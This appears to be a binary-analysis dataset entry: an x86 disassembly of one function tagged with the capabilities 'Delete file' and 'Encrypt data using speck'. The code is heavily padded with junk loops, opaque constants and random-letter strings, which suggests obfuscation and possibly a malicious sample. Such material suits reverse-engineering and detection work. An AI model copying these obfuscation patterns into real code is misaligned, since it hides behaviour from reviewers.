Function at 0x1001ee9b
Capabilities:
Delete file
Encrypt data using speck

Disassembly:
mov eax, 0x10058fe0
call fcn.100580f4
sub esp, 0x5a0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x340]
push 3
pop esi
push esi
call fcn.100048ce
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], ebx
jmp 0x1001eedd
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x340]
mov dword [eax + ecx*4], 0xbeaa
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1001eeca
mov eax, dword [ebp - 0x340]
mov edx, 0x48a6
inc dword [eax + 8]
lea eax, [ebp - 0x7d]
push eax
push 0x6bd7
push ecx
mov byte [ebp - 0x7d], bl
mov cl, 1
call fcn.1001cb88
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x340]
add esp, 0xc
call fcn.10004951
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x34], 0x1e28
mov dword [ebp - 0x24], 0x1645
cmp dword [ebp - 0x24], 0xfa0
jge 0x1001efe4
lea eax, [ebp - 0x12c]
push eax
call fcn.10022ad0
mov esi, dword [ebp - 0x12c]
lea ecx, [ebp - 0x260]
push esi
call fcn.100048ce
mov dword [ebp - 4], 1
mov edi, dword [ebp - 0x260]
test esi, esi
jle 0x1001ef7d
mov ebx, esi
mov esi, edi
push esi
call fcn.10022ad0
add esi, 4
dec ebx
jne 0x1001ef6b
mov esi, dword [ebp - 0x12c]
mov edx, dword [ebp - 0x25c]
mov ecx, edi
mov eax, edx
mov byte [ebp - 0x170], bl
push dword [ebp - 0x170]
sub eax, edi
sar eax, 2
push eax
call fcn.10025150
mov dword [ebp - 0x24], ebx
pop ecx
pop ecx
test esi, esi
jle 0x1001efc2
push dword [edi + ebx*4]
call fcn.1001a52c
mov edx, 0x10063320
mov ecx, eax
call fcn.10006c80
inc ebx
cmp ebx, esi
jl 0x1001efa7
xor ebx, ebx
push 0x10071a98
call fcn.1001adc4
pop ecx
call fcn.1001ee84
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x260]
call fcn.10004951
push 3
pop esi
mov ecx, 0x8ecb302a
mov dword [ebp - 0x18], 0x96e6c8ca
mov eax, dword [ebp - 0x20]
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x63d1
setg cl
cmp ecx, 0x1cf04157
jl 0x1001f00d
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setne dl
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], ebx
jne 0x1001f031
cmp dword [ebp - 0x34], ebx
jne 0x1001f031
mov edx, ebx
jmp 0x1001f034
xor edx, edx
inc edx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setg cl
sub eax, ecx
xor ecx, ecx
cmp eax, 0xe60f
setl cl
cmp ecx, dword [ebp - 0x34]
jge 0x1001f07c
mov byte [ebp - 0x2d], bl
cmp byte [ebp - 0x2d], 0
je 0x1001f068
push 1
mov ecx, 0x6701
call fcn.1001cbd5
pop ecx
push ecx
push ecx
push 1
sub esp, 0xc
call fcn.1001ccb4
add esp, 0x18
jmp 0x1001f199
push dword [ebp - 0x130]
movdqa xmm0, xmmword [0x10065860]
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x42c]
mov dword [ebp - 0x194], ebx
push eax
push ebx
lea ecx, [ebp - 0x194]
mov dword [ebp - 0x190], ebx
movdqu xmmword [ebp - 0x42c], xmm0
mov dword [ebp - 0x18c], ebx
call fcn.10007538
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x304]
mov dword [ebp - 0x350], 8
mov dword [ebp - 0x34c], 8
mov dword [ebp - 0x348], 8
mov dword [ebp - 0x344], 8
push esi
call fcn.100048ce
mov dword [ebp - 0x1c], ebx
jmp 0x1001f10b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x184], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001f0fe
mov dword [ebp - 0x1c], ebx
jmp 0x1001f124
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x304]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001f115
mov eax, dword [ebp - 0x180]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x180]
mov edx, dword [ebp - 0x180]
mov eax, dword [ebp - 0x194]
mov dword [eax + 8], edx
mov eax, dword [ebp - 0x180]
cmp eax, 1
mov eax, dword [ebp - 0x18]
setge cl
imul eax, dword [ebp - 0x20]
imul eax, ecx
mov ecx, dword [ebp - 0x17c]
sub ecx, eax
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x348], ecx
imul ecx, edx
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x304]
call fcn.10004951
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x194]
call fcn.10004951
mov eax, dword [0x1062bb04]
test al, 1
jne 0x1001f1d2
or eax, 1
mov dword [0x1062bb04], eax
mov dword [ebp - 4], esi
mov dword [0x1062bae0], ebx
mov dword [0x1062bae4], ebx
call fcn.10024ae8
push 0x10059c5d
mov dword [0x1062bae0], eax
call fcn.1003ffd2
or dword [ebp - 4], 0xffffffff
pop ecx
mov dword [ebp - 0x21c], 1
lea ecx, [ebp - 0x334]
mov dword [ebp - 0xb4], 0x694d2b5f
push 2
call fcn.100048ce
lea eax, [ebp - 0x334]
mov dword [ebp - 4], 4
push eax
push ecx
push ecx
lea eax, [ebp - 0x3e8]
mov dl, 1
push eax
call fcn.1001c553
push 0xf67
push ebx
lea eax, [ebp - 0xb4]
xor cl, cl
push eax
push 0x565f
push 1
lea edx, [ebp - 0x21c]
call fcn.1001e10e
add esp, 0x24
mov dword [ebp - 0xb4], ebx
cmp dword [ebp - 0xb4], 1
jg 0x1001f2e9
mov dword [ebp - 0x3c], 0xce1
cmp dword [ebp - 0x3c], 0xd02
jle 0x1001f2b2
mov edi, ebx
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x28], ebx
xor eax, esi
lea ecx, [ebp - 0x4bc]
xor eax, edi
cdq
push edx
push eax
call fcn.10001a95
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001f27d
mov eax, dword [eax]
push eax
call fcn.1003fffd
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4bc]
call fcn.10004e55
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x3387
jl 0x1001f261
inc esi
cmp esi, 0x5531
jl 0x1001f25c
inc edi
cmp edi, 0x549d
jl 0x1001f25a
cmp dword [ebp - 0x3c], 0xa0d
jge 0x1001f2c6
push str.rikxz_yesfhhdc_gqctvnrc
call fcn.1003fffd
pop ecx
mov dword [ebp - 4], 4
mov ecx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x334]
cmp dword [eax + ecx*4], ebx
jne 0x1001f2e9
inc dword [ebp - 0xb4]
jmp 0x1001f23b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x334]
call fcn.10004951
cmp byte [0x1062b9e1], 0
jne 0x10022524
push ebx
push 0x47a6
push ecx
push 0x1062b9e1
mov edx, 0x13ee
call fcn.1001e937
mov dword [ebp - 0xe0], 0x1006e5e8
add esp, 0x10
mov dword [ebp - 0x20], 0x76f5020f
mov dword [ebp - 0x24], 0xfffffffb
mov dword [ebp - 0x114], 0xffffffff
mov dword [ebp - 0x110], 0xffffffff
mov dword [ebp - 0x10c], 0xffffffff
mov dword [ebp - 0x108], 0xffffffff
mov dword [ebp - 0x1c], ebx
jmp 0x1001f374
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x45c], 0xfffffffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1001f363
mov dword [ebp - 0x1c], ebx
jmp 0x1001f390
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x49c], 0x40ee
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1001f37f
mov dword [ebp - 0x20], 3
cmp dword [ebp - 0x20], ebx
jl 0x1001f48e
mov dword [ebp - 0x34], 0xc3ad3b31
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28], 0x11a796d4
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x114], 0xcbedfa90
mov dword [ebp - 0x110], 0xcbedfa90
mov dword [ebp - 0x10c], 0xcbedfa90
mov dword [ebp - 0x108], 0xcbedfa90
mov dword [ebp - 0x1c8], 0x6f85a06c
mov dword [ebp - 0x34], 3
cmp dword [ebp - 0x34], ebx
jl 0x1001f478
mov dword [ebp - 0x38], 0xc9214a9b
mov edx, 0x6473
mov dword [ebp - 0x28], 0x858905b8
mov ecx, 0x2340
mov dword [ebp - 0x38], ebx
mov eax, dword [ebp - 0x20]
push 1
push 1
push 1
mov eax, dword [ebp + eax*4 - 0x45c]
mov eax, dword [ebp - 0x20]
push 0x1dfe
push 0x1ac6
mov eax, dword [ebp + eax*4 - 0x45c]
mov eax, dword [ebp - 0x2c]
inc dword [ebp - 0x2c]
mov dword [ebp - 0x28], 0xfffffffe
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
lea eax, [ebp - 0x85]
mov dword [ebp - 0x28], ebx
mov byte [ebp - 0x85], bl
push eax
call fcn.1001cd06
add esp, 0x18
dec dword [ebp - 0x34]
jns 0x1001f400
push ebx
lea ecx, [ebp - 0x1c8]
call fcn.1001cbd5
dec dword [ebp - 0x20]
pop ecx
jns 0x1001f3a6
mov byte [ebp - 0x2d], bl
cmp byte [ebp - 0x2d], 0
je 0x1001f49d
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0xc
pop esi
push 7
mov dword [ebp - 0xf8], ebx
pop edi
mov dword [ebp - 0x18], esi
cmp esi, 0xe0
jge 0x1001f921
mov dword [ebp - 0x34], 0xebaeef20
mov dword [ebp - 0x28], 0x7091
cmp dword [ebp - 0x28], 0x723e
jle 0x1001f4fc
mov edi, ebx
mov esi, ebx
mov eax, esi
mov ecx, 0x10071a98
or eax, edi
cdq
push edx
push eax
call fcn.100046a4
inc esi
cmp esi, 0x442c
jl 0x1001f4d3
inc edi
cmp edi, 0x59bf
jl 0x1001f4d1
mov esi, dword [ebp - 0x18]
push 7
pop edi
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 4], edi
cmp dword [ebp - 0x28], 0x6f86
jge 0x1001f51e
mov edx, str.emtf_chgitgwui_vew_phgxmvt_flsyrlrrl_ugoxgclk_ahgnxxy_lnlj_amc_ykpx_guzfiqymk_qtt
mov ecx, 0x10071a98
call fcn.10006c80
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x20], ebx
jmp 0x1001f560
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x104], 1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 1
jl 0x1001f54f
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], ebx
jl 0x1001f6af
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 0xb1d6a56c
mov dword [ebp - 0x28], 0x82b00025
mov dword [ebp - 0x24], 0xe92
cmp dword [ebp - 0x24], 0x1182
jle 0x1001f5bd
mov edi, ebx
mov esi, ebx
mov eax, esi
mov ecx, 0x10071a98
xor eax, edi
cdq
push edx
push eax
call fcn.100046a4
inc esi
cmp esi, 0xca0
jl 0x1001f597
inc edi
cmp edi, 0x5557
jl 0x1001f595
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
inc dword [ebp - 0x20]
cmp ecx, eax
jg 0x1001f5f7
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], 0xd6c3
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x3c]
test eax, eax
je 0x1001f616
cmp dword [ebp - 0x3c], ebx
je 0x1001f616
xor ecx, ecx
inc ecx
jmp 0x1001f618
mov ecx, ebx
xor eax, eax
cmp ecx, 0x9501
setne al
cmp eax, 0xe6b9
je 0x1001f62f
cmp dword [ebp - 0x20], ebx
jne 0x1001f638
cmp dword [ebp - 0x28], ebx
jne 0x1001f638
mov eax, ebx
jmp 0x1001f63b
xor eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 9
cmp dword [ebp - 0x24], 0xd86
jge 0x1001f65d
mov edx, str.aalpako_xuytyu_jxfnyxeih_nmitg_ebsff_cmcpi_ossrwr
mov ecx, 0x10071a98
call fcn.10006c80
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c], ebx
jmp 0x1001f6a2
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp + eax*4 - 0x104]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x104], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1001f68b
dec dword [ebp - 0x34]
jmp 0x1001f569
mov ecx, dword [ebp - 0xe0]
push 7
pop edi
mov al, byte [ecx]
cmp al, byte [esi + ecx]
jne 0x1001fa0a
mov dword [ebp - 0x1c], 0x2bd4
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
jmp 0x1001f6ee
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x50], 0x4859bb7a
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 1
jl 0x1001f6e0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x34], ebx
jne 0x1001f703
mov eax, ebx
jmp 0x1001f706
xor eax, eax
inc eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
push 0xfffffffffffffffe
pop edx
sub edx, eax
mov eax, dword [ebp - 0x1c]
inc edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x1c], ebx
jne 0x1001f76f
mov eax, dword [ebp - 0x50]
xor edx, edx
mov dword [ebp - 0x28], 0x6f4d
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x50]
cmp eax, 9
mov eax, dword [ebp - 0x34]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
imul ecx, dword [ebp - 0x1c]
test ecx, ecx
jne 0x1001f76f
mov ecx, ebx
jmp 0x1001f772
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x50]
xor edx, edx
add eax, ecx
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x50]
setg dl
sub edx, eax
mov eax, dword [ebp - 0x50]
add ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
test ecx, ecx
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
setle dl
add ecx, edx
xor edx, edx
cmp ecx, eax
setne dl
cmp edx, dword [ebp - 0x50]
jge 0x1001f7c9
cmp dword [ebp - 0x34], ebx
jne 0x1001f7c9
mov edx, ebx
jmp 0x1001f7cc
xor edx, edx
inc edx
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x50]
setle cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
sub ecx, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x50], ecx
lea ecx, [ebp - 0x3e0]
mov dword [ebp - 0xf8], esi
mov dword [ebp - 0x20], 0x8ade19d2
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0xd37a5b7d
mov dword [ebp - 0x38], edi
push eax
call fcn.100048ce
push 3
lea ecx, [ebp - 0x41c]
mov dword [ebp - 4], 0xb
call fcn.100048ce
xor edx, edx
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x48], ebx
inc edx
jmp 0x1001f846
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x410], ebx
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], edx
jl 0x1001f839
mov dword [ebp - 0x48], ebx
jmp 0x1001f863
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x3e0]
mov dword [eax + ecx*4], 0x46c2e7cc
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], edx
jl 0x1001f850
push edx
push ebx
push ebx
push 0x541c
lea eax, [ebp - 0x41c]
mov ecx, 0x2b21
push eax
push 0x6529
lea edx, [ebp - 0x48]
call fcn.1001cd06
mov dl, 1
push ebx
mov cl, dl
call fcn.1001dce0
add esp, 0x1c
mov dword [ebp - 0x20], ebx
jmp 0x1001f902
mov dword [ebp - 0x38], 0x34e6d4f2
lea ecx, [ebp - 0x3d0]
push 2
call fcn.100048ce
lea eax, [ebp - 0x3d0]
mov byte [ebp - 4], 0xd
push eax
push ecx
mov dword [ebp - 0x1f4], 0xb972
lea ecx, [ebp - 0x1fc]
xor dl, dl
call fcn.1001c923
pop ecx
pop ecx
push 0x6d36
push 0x71b0
push ecx
push ecx
push 1
lea edx, [ebp - 0x1f4]
call fcn.1001d0e3
add esp, 0x14
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x3d0]
call fcn.10004951
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x1001f89b
lea ecx, [ebp - 0x41c]
call fcn.10004951
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3e0]
call fcn.10004951
mov dword [ebp - 0x20], 0x8fc558ba
lea ecx, [ebp - 0x31c]
mov dword [ebp - 0x24], 0x7822e6e
mov dword [ebp - 0x28], 0x19adb821
mov dword [ebp - 0x24], 0xca3691f6
push 3
call fcn.100048ce
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x24], 0x91b76e1e
mov dword [ebp - 0x24], 0x412f
cmp dword [ebp - 0x24], 0x41b2
jle 0x1001f9cb
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
add eax, ecx
lea ecx, [ebp - 0x540]
cdq
push edx
push eax
call fcn.10001a95
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001f98e
mov eax, dword [eax]
push eax
call fcn.1003fffd
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x540]
call fcn.10004e55
mov ecx, dword [ebp - 0x18]
inc esi
cmp esi, 0x17bc
jl 0x1001f971
inc edi
cmp edi, 0x55e8
jl 0x1001f96f
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x1a8a
jl 0x1001f96d
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
cmp dword [ebp - 0x24], 0x404e
jge 0x1001f9df
push str.zjflcc_otgkbjfk_spiejrja_sifi_dnnnqri_mwfuvbt_xkjrfeer_myf_wmvw_wbawjr
call fcn.1003fffd
pop ecx
push ebx
push ecx
mov dword [ebp - 4], 0xe
lea edx, [ebp - 0xa8]
mov dword [ebp - 0x3c], 0x20410224
lea ecx, [ebp - 0x31c]
call fcn.1001d395
pop ecx
pop ecx
mov dword [ebp - 0xa8], ebx
jmp 0x1001fa27
inc esi
jmp 0x1001f4a9
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0x478], 0xffffffff
inc dword [ebp - 0xa8]
cmp dword [ebp - 0xa8], 3
jl 0x1001fa10
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x20]
test eax, eax
jne 0x1001fa4c
cmp dword [ebp - 0x28], ebx
jne 0x1001fa4c
mov ecx, ebx
jmp 0x1001fa4f
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x20]
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x31c]
mov dword [ebp - 0x24], ecx
mov dword [eax + 8], 0xc236
mov dword [ebp - 0x24], 0x5b40194d
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
cmp edx, eax
setl cl
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x31c]
mov eax, dword [ebp - 0x474]
sub eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
or dword [ebp - 4], 0xffffffff
call fcn.10004951
mov dword [ebp - 0x254], 4
mov dword [ebp - 0x24], 0x6e21
cmp dword [ebp - 0x24], 0x6edd
jle 0x1001fae7
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x10071a98
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.100046a4
inc edi
cmp edi, 0x4e50
jl 0x1001fac1
inc esi
cmp esi, 0x11f3
jl 0x1001fabf
xor eax, eax
lea ecx, [ebp - 0x71]
inc eax
push ecx
mov dword [ebp - 0x18], eax
mov ecx, 0x6cca
mov byte [ebp - 0x71], bl
push eax
call fcn.1001d117
mov dword [ebp - 0x18], ebx
jmp 0x1001fb1b
push ecx
mov byte [ebp - 0x8e], bl
lea ecx, [ebp - 0x8e]
push 1
call fcn.1001d473
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe2
pop ecx
pop ecx
jg 0x1001fb04
mov dword [ebp - 4], 0x11
cmp dword [ebp - 0x24], 0x6bdf
jge 0x1001fb42
mov edx, str.lbyvr_lqfubevr_tbk_motnnosqi_hhcxc_vkodjaor_ffshhcudh_uwqdr_aymtahezd_unsklrqs_eks_ybaofyzcw_liwoy
mov ecx, 0x10071a98
call fcn.10006c80
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x78], 0x1006e6c8
mov dword [ebp - 0x20], 0x3ae35568
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0x12
jl 0x1001fcb5
mov dword [ebp - 0xd8], 0xa9831117
mov dword [ebp - 0x16c], 0x1c71bc7d
mov dword [ebp - 0x18], ebx
jmp 0x1001fbad
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4a4], 8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001fb9c
push 0x6a01
push 0x1583
lea eax, [ebp - 0xd8]
mov edx, 0x29fd
push eax
push 1
push 1
mov cl, 1
call fcn.1001d155
add esp, 0x14
mov dword [ebp - 0xd8], ebx
cmp dword [ebp - 0xd8], 0x1c
jg 0x1001fcad
push 0x3f79
push ecx
push ecx
lea eax, [ebp - 0x16c]
push eax
push ecx
push ecx
mov cl, 1
call fcn.1001c399
mov dword [ebp - 0x24], 0x420e
add esp, 0x18
cmp dword [ebp - 0x24], 0x45b7
jle 0x1001fc3a
mov esi, ebx
mov edi, ebx
mov ebx, 0x159b
mov eax, edi
mov ecx, 0x10071a98
cdq
push edx
push eax
call fcn.100046a4
add edi, esi
dec ebx
jne 0x1001fc1d
inc esi
cmp esi, 0x7bf
jl 0x1001fc16
lea eax, [ebp - 0x90]
mov byte [ebp - 0x90], bl
push eax
push 0x3efb
push ecx
push 1
push ecx
mov edx, 0x5a8b
call fcn.1001d2a6
add esp, 0x14
mov dword [ebp - 4], 0x13
cmp dword [ebp - 0x24], 0x41f8
jge 0x1001fc7c
mov edx, str.sbogdpkih_did_kirc_dqcdduq_ewylvlxe_kechpcgz_sfbzslpr_iwugduz
mov ecx, 0x10071a98
call fcn.10006c80
or dword [ebp - 4], 0xffffffff
inc dword [ebp - 0xd8]
jmp 0x1001fbdd
inc dword [ebp - 0x20]
jmp 0x1001fb57
mov eax, dword [ebp - 0x78]
mov al, byte [eax]
mov byte [ebp - 0x41], al
mov dword [ebp - 0x24], 0x9fe387fb
mov dword [ebp - 0x18], ebx
jmp 0x1001fcda
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x484], 0x1ec2db22
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1001fcc9
mov eax, dword [ebp - 0x24]
mov edx, 0x371e
push 1
push ecx
mov dword [ebp - 0x484], eax
mov ecx, 0x4649
call fcn.1001d395
mov eax, dword [ebp - 0xe0]
mov esi, dword [ebp - 0x78]
pop ecx
pop ecx
mov dl, byte [eax]
mov cl, byte [esi]
call fcn.10024b13
mov byte [esi], al
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x18], ebx
jmp 0x1001fd2e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x98], 0x4fd3df75
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x1001fd1d
mov dword [ebp - 0x98], 0x1b
mov esi, 0xffff
cmp dword [ebp - 0x98], 0xd
je 0x10020024
push dword [ebp - 0x1fc]
movdqa xmm0, xmmword [0x10065890]
lea eax, [ebp - 0x42c]
push eax
lea eax, [ebp - 0x43c]
mov dword [ebp - 0x140], ebx
push eax
push ebx
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x13c], ebx
movdqu xmmword [ebp - 0x43c], xmm0
mov dword [ebp - 0x138], ebx
call fcn.10007538
mov dword [ebp - 4], 0x15
xor edx, edx
mov dword [ebp - 0x1c], 0xffffffff
inc edx
mov dword [ebp - 0x24], 0xcfcb8f1f
mov dword [ebp - 0x34], 0x55126ed4
mov dword [ebp - 0x28], 0xbaa6
mov dword [ebp - 0x18], ebx
jmp 0x1001fdce
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x174], 0x1e6e836e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1001fdbd
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 3
jg 0x1002000a
mov dword [ebp - 0x18], 0x6e5dc64f
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x20], edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x140]
cmp dword [eax + ecx*4], 0xfffffffe
jl 0x1001fe8d
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + ecx*4]
dec eax
cmp esi, eax
sbb eax, eax
neg eax
cmp eax, 0xbc8b421d
ja 0x1001fe8d
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x140]
cmp dword [eax + ecx*4], ebx
jne 0x1001fe8d
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 3
jg 0x1001ff1a
push 7
pop edi
mov dword [ebp - 0x2c], 3
cmp dword [ebp - 0x2c], ebx
jl 0x1001fe6d
mov dword [ebp - 0x20], ebx
jmp 0x1001fe63
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x174], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x1001fe56
dec dword [ebp - 0x2c]
jns 0x1001fe51
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x140]
cmp dword [eax + ecx*4], ebx
jne 0x1001ff1a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x1001fe45
jmp 0x1001ff1a
mov dword [ebp - 0x3c], 0xe86f
lea ecx, [ebp - 0x36c]
mov dword [ebp - 0x38], 0xfc75dfcc
push 3
call fcn.100048ce
mov dword [ebp - 0x24], 0x72a6dfe1
mov dword [ebp - 0x18], ebx
jmp 0x1001fec7
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x36c]
mov dword [eax + ecx*4], 0x691704d9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1001feb4
mov eax, dword [ebp - 0x98]
xor edx, edx
inc dword [ebp - 0x28]
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x98]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x36c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
dec eax
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x24], eax
